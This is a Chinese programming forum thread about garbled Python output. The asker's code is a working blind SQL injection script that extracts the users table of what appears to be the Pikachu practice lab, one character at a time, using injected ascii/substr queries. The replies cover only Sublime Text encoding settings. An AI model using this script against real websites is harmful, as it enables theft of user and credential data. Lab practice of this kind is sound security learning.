Python中的乱码问题

Python乱码问题：对于这种由于没有任何字符而造成的乱码如何解决？（没有异常、报错）
附代码：

z_t = ''
length_3 =0
for k in c_name:
    for i in range(0,4):
        for j in range(1,33):
            for z in range(0,128):
                value_url_test = url+"?name=kobe%27+and+ascii%28substr%28%28select+" + str(
                    k) + "+from+pikachu.users+limit+" + str(i) + "%2C1%29%2C" + str(j) + "%2C1%29%29%3D" + str(
                    z) + "%23&submit=%E6%9F%A5%E8%AF%A2"
                r = requests.get(value_url_test,cookie)
                if flag in r.text:
                    z_t += chr(z)
                    #print(z_t)
                    break
        length_4 = len(z_t)
        #print(length_3)
        #print(length_4)
        value = z_t[length_3:length_4]
        print(str(value))
        length_3 = length_4
        #z_t += '\t'

这是在终端输出的？ 你执行的什么命令 具体代码呢

打开sublime-build内容
打开Sublime Text， 点击 Preferences —> Browse Packages… 之后弹出窗口，然后点击User，找到sublime-build文件
我用的是python2，所以文件名为：Python2.sublime-build
修改sublime-build
修改Python2.sublime-build，添加encoding字段即可
{
“cmd”: [“C:/Users/Administrator/AppData/Local/Programs/Python/Python37/python.exe”,"-u","$file"],
“file_regex”: “1File "(…?)”, line ([0-9]*)",
“selector”: “source.python”,
“encoding”: “cp936”
}